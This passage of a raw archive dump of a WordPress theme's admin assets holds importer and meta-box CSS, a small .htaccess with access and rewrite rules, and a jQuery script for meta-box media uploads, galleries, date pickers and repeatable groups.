{ line-height: 22px; width: 22px; height: 22px; -webkit-animation: rb-loading 2s linear infinite; animation: rb-loading 2s linear infinite; text-align: center; color: #49ac7e; } @-webkit-keyframes rb-loading { from { -webkit-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes rb-loading { from { -ms-transform: rotate(0deg); -moz-transform: rotate(0deg); -webkit-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } to { -ms-transform: rotate(360deg); -moz-transform: rotate(360deg); -webkit-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } .rb-response-info { font-size: 1rem; font-weight: 700; line-height: 1.5; margin-top: 30px; color: #ff9257; border-radius: 10px; } .rb-response-info .info-success { font-size: inherit; color: #49ac7e; } .rb-redirect-content { margin-top: 60px; } /** importer */ .rb-demos, .rb-demos * { box-sizing: border-box; } .rb-disabled { cursor: alias; pointer-events: none; opacity: .5; } .rb-demos-wrap { position: relative; display: block; max-width: 960px; padding: 30px; } .rb-demos { display: flex; display: -webkit-flex; flex-flow: column nowrap; width: 100%; } .rb-demo-item { display: flex; display: -webkit-flex; overflow: hidden; flex: 0 0 100%; margin-bottom: 30px; -webkit-border-radius: 7px; border-radius: 7px; } .rb-demo-item .demo-image { position: absolute; top: 0; right: 0; left: 0; display: block; width: 100%; height: auto; -webkit-transition: all .25s; transition: all .25s; object-fit: contain; object-position: center top; } .rb-show-spinner { display: block; visibility: visible; opacity: 1; } .demo-status { position: absolute; opacity: 0; } .is-importing:not(.just-complete) .demo-status { display: none; } h3.demo-name { line-height: 1; position: relative; margin: 20px 30px 0 30px; padding: 0 0 15px 0; text-align: right; color: #ffffff; border-bottom: 5px solid rgba(255, 255, 255, .07); } .rb-demo-item .inner-item { position: relative; display: flex; display: -webkit-flex; overflow: hidden; flex-flow: row nowrap; width: 100%; background-color: #ffffff; box-shadow: 0 10px 20px rgba(0, 0, 0, .05); } .demo-content { position: relative; display: flex; display: -webkit-flex; flex: 0 0 50%; flex-flow: column nowrap; padding-bottom: 30px; color: #ffffff; background-color: #23282d; } .demo-content > * { margin-top: 20px; padding: 0 30px; } .demo-content > *:last-child { margin-bottom: 0; } .demo-plugins > h4, .rb-import-header { font-size: 12px; font-weight: 700; margin-top: 0; margin-bottom: 7px; text-transform: uppercase; color: #aaaaaa; } .demo-plugins .plugin-el { font-size: 12px; line-height: 20px; display: block; overflow: hidden; margin-bottom: 7px; padding-left: 10px; } .demo-plugins .plugin-el:last-child { margin-bottom: 0; } .plugin-el .name { font-weight: 700; } .plugin-el .name a.plugin-link { color: #ffffff; text-decoration: none; transition: all .3s; -webkit-transition: all .3s; } .plugin-el .name a.plugin-link:hover { text-decoration: dotted; } .plugin-el .info { font-size: 11px; font-weight: normal; display: inline-block; margin-left: 4px; color: #aaaaaa; } .activate-info { display: inline-block; float: right; } .plugin-el .activate-info.activated { color: #6ebe75; } .plugin-el a.activate-info { font-weight: 700; line-height: 20px; -webkit-transition: all .25s; transition: all .25s; outline: none !important; box-shadow: none !important; } .plugin-el a.activate-info:hover { color: #ffffff; } .plugin-el a.activate-info { color: #ffdf36; } .plugin-el.important a.activate-info { color: #ff5151; } .plugin-el .spinner { margin: 0; outline: none !important; } .loading-info { font-weight: 400; margin-right: 4px; text-decoration: none; color: #aaaaaa; outline: none !important; box-shadow: none; } a.activate-info.loading { text-decoration: none; } .demo-preview { line-height: 0; position: relative; display: flex; display: -webkit-flex; flex: 0 0 50%; } .is-importing .demo-image { opacity: .15; } .demo-process-bar { position: absolute; z-index: 1; top: auto; bottom: 0; display: block; visibility: visible; width: 100%; height: 15px; -webkit-transition: all .25s; transition: all .25s; pointer-events: none; opacity: 0; background-color: #eeeeee; } .process-count { font-size: 24px; line-height: 1; padding: 0 20px; font-weight: bold; position: absolute; text-align: center; z-index: 1; top: 0; right: 10px; bottom: 10px; left: 0; display: flex; display: -webkit-flex; visibility: visible; align-items: center; justify-content: center; -webkit-transition: all .25s; transition: all .25s; pointer-events: none; opacity: 0; color: inherit; } .error-label { color: #ff6464; } .is-importing .process-count, .is-importing .demo-process-bar { visibility: visible; opacity: 1; } .process-percent { position: relative; display: block; overflow: hidden; width: 0; height: 100%; -webkit-transition: all .25s; transition: all .25s; background-color: #3db247; } .process-percent:after { position: absolute; z-index: 1; top: 0; right: 0; bottom: 0; left: 0; overflow: hidden; content: ""; -webkit-animation: rbmove 2s linear infinite; animation: rbmove 2s linear infinite; background-image: -webkit-gradient(linear, 0 0, 100% 100%, color-stop(.25, rgba(255, 255, 255, .2)), color-stop(.25, transparent), color-stop(.5, transparent), color-stop(.5, rgba(255, 255, 255, .2)), color-stop(.75, rgba(255, 255, 255, .2)), color-stop(.75, transparent), to(transparent) ); background-image: -moz-linear-gradient( -45deg, rgba(255, 255, 255, .2) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .2) 50%, rgba(255, 255, 255, .2) 75%, transparent 75%, transparent ); -moz-background-size: 50px 50px; -webkit-background-size: 50px 50px; } .process-percent.is-completed { width: 100% !important; } .process-percent.is-completed:after { opacity: 0; } @keyframes rbmove { 0% { background-position: 0 0; } 100% { background-position: 50px 50px; } } @-webkit-keyframes rbmove { 0% { background-position: 0 0; } 100% { background-position: 50px 50px; } } .rb-importer-checkbox { display: flex; display: -webkit-flex; align-items: center; flex-grow: 0; cursor: pointer; text-decoration: none !important; color: inherit !important; outline: none !important; box-shadow: none !important; } .rb-importer-checkbox:before { display: inline-flex; flex-grow: 0; width: 10px; height: 10px; margin-right: 7px; content: ''; -moz-transition: all .25s; -ms-transition: all .25s; -o-transition: all .25s; -webkit-transition: all .25s; transition: all .25s; border: 2px solid #444444; border-radius: 50%; } .data-select { position: relative; margin-bottom: 15px; padding-left: 10px; } .data-select-el { margin-bottom: 7px; } .rb-importer-checkbox.checked:before { border-color: #6ebe75; background: #6ebe75; } .rb-import-divider { display: block; clear: both; width: 140px; height: 2px; margin: 7px 0; border-bottom: 2px solid rgba(255, 255, 255, .07); } .import-label { -webkit-transition: all .3; transition: all .25s; color: #aaaaaa; } .checked .import-label { color: #ffffff; } .import-actions { display: flex; display: -webkit-flex; width: 100%; margin-top: auto; } .rb-wait { display: none; color: #ffffff; } .rb-wait span:last-child, .rb-loading-info span:last-child { -webkit-animation: rbfade 2s linear infinite; animation: rbfade 2s linear infinite; } .rb-loading-info { color: #ffffff; } .is-importing:not(.just-complete) .rb-wait { display: block; } .rb-wait .rb-loading { margin-right: 7px; margin-left: 0; } .rb-loading-info .rb-loading { margin-right: 0; margin-left: 0; } .rb-loading-info .rb-loading i { font-size: 14px; } @keyframes rbfade { 0% { opacity: 1; } 50% { opacity: .1; } 100% { opacity: 1; } } @-webkit-keyframes rbfade { 0% { opacity: 1; } 50% { opacity: .2; } 100% { opacity: 1; } } .demo-status { font-size: 13px; font-weight: 700; line-height: 1; position: absolute; top: 0; right: 0; display: block; padding: 12px 20px; -webkit-transition: all .25s; transition: all .25s; color: #ffffff; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .3); box-shadow: 0 5px 10px rgba(0, 0, 0, .3); } .is-imported .demo-status { opacity: 1; background-color: #4e9c54; } .rb-demo-item:not(.is-imported):hover .demo-status { opacity: 1; background-color: #23282d; } .rb-importer-btn-wrap { display: flex; display: -webkit-flex; align-items: center; width: 100%; } .rb-importer-btn { font-weight: 700; line-height: 1; display: flex; display: -webkit-flex; margin-right: 0; margin-left: auto; padding: 10px 25px; cursor: pointer; -webkit-transition: all .25s; transition: all .25s; color: #ffffff; border-radius: 3px; background-color: #4e9c54; } .rb-importer-completed { font-weight: 700; line-height: 1; display: none; margin-left: auto; padding: 10px 0; color: #eeeeee; } .rb-do-reimport { background-color: #ddad58; } .rb-importer-btn:hover, .rb-do-reimport.rb-importer-btn:hover, .rb-importer-btn:focus, .rb-do-reimport.rb-importer-btn:focus, .is-importing .rb-importer-btn { background-color: #318032; } .is-importing .rb-importer-btn { pointer-events: none; opacity: .5; } .rb-importer-btn.rb-disabled { background-color: #3f4b57; } .just-complete .rb-importer-btn { display: none; } .just-complete .rb-importer-completed { display: block; } .importer-header { position: relative; display: block; margin-bottom: 35px; } .importer-header strong { color: #333333; } .importer-headline { font-size: 22px; font-weight: 700; padding: 20px 30px; background-color: #ffffff; box-shadow: 0 10px 20px rgba(0, 0, 0, .07); } .importer-headline i { font-size: 26px; display: inline-block; margin-right: 10px; } .importer-desc p { font-size: 1rem; margin-top: 0; margin-bottom: 15px; color: #666666; } .importer-tips { position: relative; display: block; margin-top: 30px; padding: 20px 30px; color: #666666; border: 4px solid #9bb99d; border-radius: 10px; } .importer-tips p { font-size: 16px; margin-top: 0; margin-bottom: 7px; } .importer-notice { margin-top: 20px; padding: 20px 30px; border: 4px solid #ffa739; border-radius: 10px; } .importer-notice p { font-size: 16px; margin-top: 0; margin-bottom: 7px; } body.rtl .rb-demo-item .demo-image { right: 0; left: 0; } body.rtl .demo-status { right: auto; left: 0; } body.rtl h3.demo-name { margin: 20px 30px 0 30px; padding: 0 0 15px 0; text-align: left; } body.rtl .demo-plugins .plugin-el { padding-right: 10px; } body.rtl .plugin-el .info { margin-right: 4px; } body.rtl .activate-info { float: left; } body.rtl .loading-info { margin-left: 4px; } body.rtl .process-count { right: 0; left: 10px; } body.rtl .process-percent:after { right: 0; left: 0; } body.rtl .rb-importer-checkbox:before { margin-right: 0; margin-left: 7px; } body.rtl .data-select { padding-right: 10px; } body.rtl .rb-importer-btn { margin-right: auto; margin-left: 0; } body.rtl .rb-importer-completed { margin-right: auto; margin-left: 0; } body.rtl .importer-headline i { margin-right: auto; margin-left: 10px; } /* translation */ p.rb-notice { font-size: 1rem; font-weight: 700; display: block; max-width: 1000px; padding: 20px; color: #ffffff; background-color: #ff9a5d; } .rb-translation-form { position: relative; display: flex; flex-flow: row wrap; max-width: 1200px; margin-top: 30px; border-top: 10px solid #dddddd; background-color: #ffffff; box-shadow: 0 10px 20px rgba(0, 0, 0, .05); } .rb-translation-form .item { display: flex; align-items: flex-start; flex: 0 0 50%; padding: 15px 20px; border-right: 1px solid #dddddd; border-bottom: 1px solid #dddddd; } .rb-translation-form .item:nth-child(2n) { border-right: none; } .rb-translation-form input[type="text"] { font-weight: 700; width: 70%; } .rb-translation-form label { width: 30%; padding-right: 10px; } .form-footer { position: sticky; bottom: 0; display: flex; align-items: center; justify-content: flex-end; width: 100%; padding: 20px 30px; background-color: #ffffff; box-shadow: 0 -5px 10px rgba(0, 0, 0, .05); } .fetch-translation { display: flex; align-items: center; } .update-translation-loader { margin-right: 20px; } .form-footer .rb-info { font-size: 1rem; display: none; margin-top: 0; margin-right: auto; margin-bottom: 0; margin-left: 0; padding: 7px 20px; color: #ffffff; border-radius: 3px; background-color: #49ac7e; } .form-footer .rb-info.is-error { background-color: #ee3f3f; } .rb-fonts .rb-panel-input-text { margin-bottom: 30px; } .rb-fonts .rb-panel-input-text:read-only { cursor: not-allowed; opacity: .5; } .rb-fonts .rb-panel-button { font-size: .9rem; } .rb-fonts .rb-panel { max-width: 1000px; } #rb-edit-project-id:not(:hover) { background-color: #333333; } .rb-font-notice { font-size: 1rem; font-weight: 700; margin-top: 30px; color: #ff9257; } .rb-font-item.is-top { font-weight: 700; border-bottom: 1px solid; } .rb-font-detail { font-weight: 700; } .rb-font-item { display: flex; flex-flow: row nowrap; } .rb-font-item > * { width: 33%; flex-shink: 0; } .font-settings { display: flex; flex-flow: row wrap; margin-top: 40px; margin-right: -20px; margin-left: -20px; } .font-setting-el { display: flex; align-items: center; flex-flow: row nowrap; width: 50%; margin-bottom: 20px; padding-right: 20px; padding-bottom: 20px; padding-left: 20px; border-bottom: 1px solid #eeeeee; } .font-setting-el:nth-child(even) { border-left: 1px solid #eeeeee; } .font-setting-title { font-weight: 700; flex-shrink: 0; width: 120px; margin: 0; } .rb-font-setting { width: auto; max-width: 250px; } [disabled="disabled"].rb-panel-button:hover, [disabled="disabled"].rb-panel-button:focus { cursor: not-allowed; background: #aaaaaa; pointer-events: none; }admin/assets/.htaccess000064400000001626147206624460010754 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/rb-meta/assets/meta.js000064400000032726147206624460011776 0ustar00/** RUBY META BOXES */ var RB_META_BOXES = (function (Module, $) { "use strict"; Module.init = function () { var self = this; self.$Document = $(document); self.body = $('body'); self.switchPanel(); self.imageSelect(); self.uploadImages(); self.uploadGallery(); self.removeImages(); self.removeGallery(); self.removeFile(); self.fileUpload(); self.datePicker(); self.repeatGroup(); setTimeout(function () { self.removeHideJs(); self.exceptIncludeTemplate(); }, 10); }; /* switch panel */ Module.switchPanel = function () { $('.rb-tab-title').on('click', function (e) { e.preventDefault(); e.stopPropagation(); var target = $(this); var tab = target.data('tab'); var id = '#rb-tab-' + tab; var wrapper = target.parents('.rb-meta-wrapper'); wrapper.css('height', wrapper.height()); target.addClass('is-active').siblings().removeClass('is-active'); wrapper.find('.rb-meta-tab').removeClass('is-active'); wrapper.find(id).addClass('is-active'); wrapper.css('height', 'auto'); wrapper.find('.rb-meta-last-tab').val(tab); return false; }) }; /** remove image upload */ Module.removeImages = function () { this.$Document.on('click', '.rb-clear-images', function (event) { event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-images'); currentWrap.find('.rb-value-images').val('').trigger('change'); currentWrap.find('.meta-preview').html(''); }); }; /** remove gallery upload */ Module.removeGallery = function () { this.$Document.on('click', '.rb-clear-gallery', function (event) { event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-gallery'); currentWrap.find('.rb-value-gallery').val('').trigger('change'); currentWrap.find('.meta-preview').html(''); }); }; /** image upload */ Module.uploadImages = function () { this.$Document.on('click', '.rb-edit-images', function (event) { if (typeof wp === 'undefined' || !wp.media) { return; } event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-images'); var preview = currentWrap.find('.meta-preview'); var targetValWrap = currentWrap.find('.rb-value-images'); var currentVal = targetValWrap.val(); var attachment, attachments, element, previewImg, previewHTML; if (frame) { frame.open(); return; } var frame = wp.media({ title: 'Select Images', multiple: true }); frame.on('open', function () { var selection = frame.state().get('selection'); if (currentVal.length > 0) { var ids = currentVal.split(','); ids.forEach(function (id) { attachment = wp.media.attachment(id); selection.add(attachment ? [attachment] : []); }); } }); frame.on('select', function () { attachments = frame.state().get('selection').toJSON(); preview.html(''); var selectionIDs = attachments.map(function (element) { previewImg = typeof element.sizes.thumbnail !== 'undefined' ? element.sizes.thumbnail.url : element.url; previewHTML = ''; preview.append(previewHTML); return element.id; }); targetValWrap.val(selectionIDs.join(',')).trigger('change'); }); frame.open(); }); }; /** gallery upload */ Module.uploadGallery = function () { var self = this; self.$Document.on('click', '.rb-edit-gallery', function (event) { if (typeof wp === 'undefined' || !wp.media) { return; } event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-gallery'); var preview = currentWrap.find('.meta-preview'); var targetValWrap = currentWrap.find('.rb-value-gallery'); var currentVal = targetValWrap.val(); var library, attachments; if (frame) { frame.open(); return; } var frame = wp.media({ title: wp.media.view.l10n.editGalleryTitle, frame: 'post', state: 'gallery-edit', editing: true, multiple: true, selection: self.getSelectGallery(currentVal), library: { order: 'ASC', type: 'image', search: null } }); frame.on('update', function () { library = frame.states.get('gallery-edit').get('library'); attachments = library.pluck('id'); preview.html(''); $.ajax({ type: 'POST', url: rbMetaParams.ajaxurl, data: { action: 'rb_meta_gallery', attachments: attachments }, success: function (data) { data = JSON.parse(JSON.stringify(data)); preview.append(data); } }); targetValWrap.val(attachments.join(',')).trigger('change'); }); frame.open(); }); }; /** get selection */ Module.getSelectGallery = function (value) { if (!value) { return; } var selection, attachments; var shortcode = wp.shortcode.next('gallery', '[gallery ids=\'' + value + '\']'); var defaultPostId = wp.media.gallery.defaults.id; if (!shortcode) { return; } shortcode = shortcode.shortcode; if (_.isUndefined(shortcode.get('id')) && !_.isUndefined(defaultPostId)) { shortcode.set('id', defaultPostId); } if (_.isUndefined(shortcode.get('ids'))) { shortcode.set('ids', '0'); } attachments = wp.media.gallery.attachments(shortcode); selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON(), multiple: true }); selection.gallery = attachments.gallery; selection.more().done(function () { selection.props.set({query: false}); selection.unmirror(); selection.props.unset('orderby'); }); return selection; }; /** image select */ Module.imageSelect = function () { this.$Document.on('click', 'input.rb-meta-image', function () { var target = $(this); target.parent('.rb-checkbox').addClass('is-active').siblings().removeClass('is-active'); }) }; /** remove file upload */ Module.removeFile = function () { this.$Document.on('click', '.rb-clear-file', function (event) { event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-file'); currentWrap.find('.rb-value-file').val('').trigger('change'); currentWrap.find('.meta-preview').html(''); return false; }); }; /* file upload */ Module.fileUpload = function () { $('.rb-edit-file').on('click', function (event) { if (typeof wp === 'undefined' || !wp.media) { return; } event.preventDefault(); event.stopPropagation(); var currentWrap = $(this).parents('.rb-file'); var preview = currentWrap.find('.meta-preview'); var targetValWrap = currentWrap.find('.rb-value-file'); var currentVal = targetValWrap.val(); var attachment, previewImg, previewName, previewHTML; if (frame) { frame.open(); return; } var frame = wp.media({ title: 'Select Media', multiple: false }); frame.on('open', function () { var selection = frame.state().get('selection'); if (currentVal.length > 0) { attachment = wp.media.attachment(currentVal); selection.add(attachment ? [attachment] : []); } }); frame.on('select', function () { attachment = frame.state().get('selection').first().toJSON(); preview.html(''); var selectionID = attachment.id; previewImg = typeof attachment.thumb !== 'undefined' ? attachment.thumb.src : attachment.url; previewName = typeof attachment.filename !== 'undefined' ? attachment.filename : attachment.url; previewHTML = '' + previewName + ''; preview.append(previewHTML); targetValWrap.val(selectionID).trigger('change'); }); frame.open(); }); }; /** date picker */ Module.datePicker = function () { $('.rb-meta-date').datepicker({ dateFormat: 'mm/dd/yy' }); }; /* exceptIncludeTemplate */ Module.exceptIncludeTemplate = function () { var tempTarget = '.editor-page-attributes__template select, #page_template'; this.$Document.on('change RB:metaTempSelect', tempTarget, function () { var tempVal = $(this).val(); var metaWrap = $('.rb-meta-wrapper'); if (metaWrap.length > 0) { metaWrap.each(function () { var target = $(this); var except = target.data('except_template'); var include = target.data('include_template'); var metaBox = $('#' + target.data('section_id')); if (except) { if (tempVal == except) { metaBox.addClass('is-hidden'); } else { metaBox.removeClass('is-hidden'); } } if (include) { metaBox.addClass('is-hidden'); if (tempVal == include) { metaBox.removeClass('is-hidden'); } } }); } }); $(tempTarget).trigger('RB:metaTempSelect'); }; /** * repeat group */ Module.repeatGroup = function () { let self = this; let tempTarget = '.rb-group-trigger'; let deleteGroupTarget = '.rb-group-delete'; let sortableTarget = '.rb-group-content'; self.$Document.on('click', tempTarget, function (e) { e.preventDefault(); e.stopPropagation(); let target = $(this); let wrapper = target.parents('.rb-group'); let defaultItem = wrapper.find('.default-group-item'); let html = defaultItem.clone(); let index = defaultItem.data('index'); html.removeClass('is-hidden default-group-item'); html.find('input').each(function () { let item = $(this); let name = 'rb_meta[' + item.data('group-id') + '][' + index + '][' + item.data('id') + ']'; item.attr('value', item.data('value')); item.attr('name', name); }); defaultItem.data('index', index + 1); wrapper.find('.rb-group-content').append(html) }); self.$Document.on('click', deleteGroupTarget, function (e) { e.preventDefault(); e.stopPropagation(); $(this).parents('.group-item').remove(); }); self.body.find(sortableTarget).sortable({ axis: 'y' }); } /** remove JS hide */ Module.removeHideJs = function () { var metaWrap = $('.rb-meta-wrapper'); if (metaWrap.length > 0) { metaWrap.each(function () { var target = $(this); var metaBox = $('#' + target.data('section_id')); metaBox.removeClass('hide-if-js'); }) } }; return Module; }(RB_META_BOXES || {}, jQuery)); /** init RUBY META BOXES */ jQuery(document).ready(function () { RB_META_BOXES.init(); });admin/rb-meta/assets/meta.css000064400000043021147206624460012140 0ustar00/** date picker theme */ #rb_meta_foxiz_post_options, #rb_meta_foxiz_page_options { border-radius: 5px; -webkit-border-radius: 5px; overflow: hidden; box-shadow: 0 4px 20px rgba(0, 0, 0, .07); -webkit-box-shadow: 0 4px 20px rgba(0, 0, 0, .07); } .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight { color: #777620; border: 1px solid #dad55e; background: #fffa90; } .ui-state-checked { border: 1px solid #dad55e; background: #fffa90; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a, .ui-widget-header .ui-state-highlight a { color: #777620; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error { color: #5f3f3f; border: 1px solid #f1a899; background: #fddfdf; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #5f3f3f; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #5f3f3f; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active, a.ui-button:active, .ui-button:active, .ui-button.ui-state-active:hover { font-weight: normal; color: #ffffff; border: 1px solid #003eff; background: #007fff; } .ui-icon-background, .ui-state-active .ui-icon-background { border: #003eff; background-color: #ffffff; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { text-decoration: none; color: #ffffff; } .ui-widget.ui-widget-content { border: 1px solid #c5c5c5; } .ui-widget-content { color: #333333; border: 1px solid #dddddd; background: #ffffff; } .ui-widget-content a { color: #333333; } .ui-widget-header { font-weight: bold; color: #333333; border: 1px solid #dddddd; background: #e9e9e9; } .ui-widget-header a { color: #333333; } .ui-datepicker { display: none; width: 17em; padding: .2em .2em 0; } .ui-datepicker .ui-datepicker-header { position: relative; padding: .2em 0; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position: absolute; z-index: 10; top: 2px; width: 1.8em; height: 1.8em; cursor: pointer; } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: none; } .ui-datepicker .ui-datepicker-prev { right: auto; left: 0; } .ui-datepicker .ui-datepicker-next { right: 0; left: auto; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { color: #ffffff; background-color: #333333; } .ui-datepicker .ui-datepicker-next-hover { right: 1px; } .ui-datepicker .ui-datepicker-prev:after, .ui-datepicker .ui-datepicker-next:after { position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 1.8em; height: 1.8em; text-align: center; pointer-events: none; } .ui-state-hover, .ui-widget-content .ui-state-hover { color: #ffffff; background-color: #333333; } .ui-datepicker .ui-datepicker-prev:after { content: '<'; } .ui-datepicker .ui-datepicker-next:after { content: '>'; } .ui-datepicker .ui-datepicker-title { line-height: 1.8em; margin: 0 2.3em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size: 1em; margin: 1px 0; } .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 45%; } .ui-datepicker table { font-size: .9em; width: 100%; margin: 0 0 .4em; border-collapse: collapse; } .ui-datepicker th { font-weight: bold; padding: .7em .3em; text-align: center; border: 0; } .ui-datepicker td { padding: 1px; border: 0; } .ui-datepicker td span, .ui-datepicker td a { font-size: 15px; display: block; padding: .2em; text-align: center; text-decoration: none; background-color: #fafafa; } .ui-datepicker .ui-datepicker-buttonpane { margin: .7em 0 0 0; padding: 0 .2em; border-right: 0; border-bottom: 0; border-left: 0; background-image: none; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; overflow: visible; width: auto; margin: .5em .2em .4em; padding: .2em .6em .3em .6em; cursor: pointer; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float: left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width: auto; } .ui-datepicker-multi .ui-datepicker-group { float: left; } .ui-datepicker-multi .ui-datepicker-group table { width: 95%; margin: 0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width: 50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width: 33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width: 25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header, .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width: 0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear: left; } .ui-datepicker-row-break { font-size: 0; clear: both; width: 100%; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { right: auto; left: 2px; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { right: auto; left: 1px; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear: right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current, .ui-datepicker-rtl .ui-datepicker-group { float: right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header, .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width: 0; border-left-width: 1px; } /* Icons */ .ui-datepicker .ui-icon { top: .3em; left: .5em; display: block; overflow: hidden; text-indent: -99999px; background-repeat: no-repeat; } /** main style */ .rb-meta-wrapper, .rb-meta-wrapper *, .rb-meta-wrapper *:before, .rb-meta-wrapper *:after { -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } [id$="rb_meta_"], [id$="rb_meta_"] h2, .rb-meta-wrapper, .rb-meta-panel-header h3 { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif !important; } .rb-meta-panel-header p { font-size: 12px; margin-top: 7px; margin-bottom: 0; color: #aaaaaa; } [id^="rb_meta_"] * { font-family: inherit; } [id^="rb_meta_"] > .inside { margin: 0 !important; padding: 0 !important; } [id^="rb_meta_"] > .postbox-header { border-bottom: none !important; } [id^="rb_meta_"] > .postbox-header > h2 { font-size: 0 !important; } [id^="rb_meta_"] > .postbox-header, .rb-meta-panel-header { background-color: #2d333b; } .rb-meta-wrapper { position: relative; display: block; overflow: hidden; margin: 0; border: 1px solid #f7f7f7; border-top: none !important; border-left: none !important; background-color: #ffffff; } .rb-meta-tab-header { position: relative; z-index: 100; display: block; float: left; width: 220px; min-height: 50vh; margin-top: 0; margin-bottom: 0; padding-bottom: 15px; background-color: #333f4d; } .rb-meta-tab-header:before { position: absolute; z-index: -1; right: 0; left: 0; display: block; height: 9999px; content: ''; pointer-events: none; background-color: #333f4d; } .rb-tab-title { display: block; width: 100%; padding: 0 20px; -webkit-transition: opacity .25s ease; transition: opacity .25s ease; text-decoration: none !important; opacity: .8; color: #ffffff !important; border-bottom: 1px solid rgba(255, 255, 255, .1); outline: none !important; box-shadow: none !important; } .rb-tab-title:last-child { border-bottom: none; } .rb-tab-title.is-active { opacity: 1 !important; background-color: #497abe !important; } .rb-tab-title:hover { opacity: 1; background-color: rgba(0, 0, 0, .1); } .rb-tab-title h3 { font-family: inherit !important; font-size: 13px; line-height: 34px; display: flex; align-items: center; flex-flow: row nowrap; margin: 0; color: inherit !important; } .rb-tab-title h3:before { font-size: 1em; display: flex; align-items: center; width: auto; margin-right: 7px; } .rb-meta-tab { display: none; float: none; overflow: hidden; min-height: 400px; margin-left: 220px; background-color: #ffffff; } .rb-meta-tab.is-active { display: block; } .rb-meta { display: flex; display: -webkit-flex; overflow: hidden; align-items: flex-start; flex-flow: row nowrap; width: 100%; padding: 25px 20px; } .rb-meta:nth-child(2n+1) { background-color: #f7f7f7; } .rb-meta-wrapper .tab-description { font-size: 12px; font-weight: bold; display: block; margin: 0; padding: 10px 20px; background-color: #fcf6e1; } .rb-meta-title { flex-grow: 0; flex-shrink: 0; width: 260px; padding-right: 30px; } .rb-meta-title label { font-size: 12px; font-weight: 700; line-height: 32px; } .rb-meta-desc { font-size: 11px; display: block; overflow: hidden; width: 100%; max-width: 460px; margin-top: 0; margin-bottom: 0; color: #555555; } .rb-meta-wrapper input[type="text"] { font-size: 14px; line-height: 32px; display: block; min-width: 200px; max-width: 600px; width: 90%; padding: 0 15px; } .rb-meta-wrapper textarea { font-size: 14px !important; display: block; min-width: 200px; padding: 10px 15px; width: 100%; max-width: 600px; } .rb-meta-content { position: relative; display: block; max-width: 100%; } /* image */ .meta-preview { display: block; } .meta-preview .thumbnail { display: inline-block; margin: 0 10px 10px 0; pointer-events: none; } .meta-preview img { display: block; width: 70px; height: auto; } .rb-meta-button { position: relative; display: inline-block; } .rb-checkbox { line-height: 0; position: relative; display: inline-block; margin: 0 5px; } .rb-checkbox img { z-index: -1; width: 50px; height: auto; pointer-events: none; border: 3px solid #eeeeee; } .rb-image-select .rb-checkbox { margin: 5px; } .rb-image-select.big img { width: 70px; } .rb-checkbox.is-active img { border-color: #0074a2; } .rb-checkbox input[type="radio"] { z-index: 999; } .rb-meta-image { position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 100% !important; height: 100% !important; margin: 0 !important; text-indent: -9999px; opacity: 0 !important; border-radius: 0; } .rb-meta-select { min-width: 220px; } .input-small input[type="text"], .input-small textarea { min-width: auto; max-width: 150px; } .thumbnail.file img { display: inline-block; max-width: 50px; height: auto; margin-right: 10px; } .thumbnail .file-name { font-weight: 700; line-height: 30px; display: inline-block; margin-left: 7px; vertical-align: top; } div#rb-tab-rb-meta-none-tab { margin-left: 0; } .rb-meta-none-tab .rb-meta-tab-header { display: none; } .rb-meta-none-tab 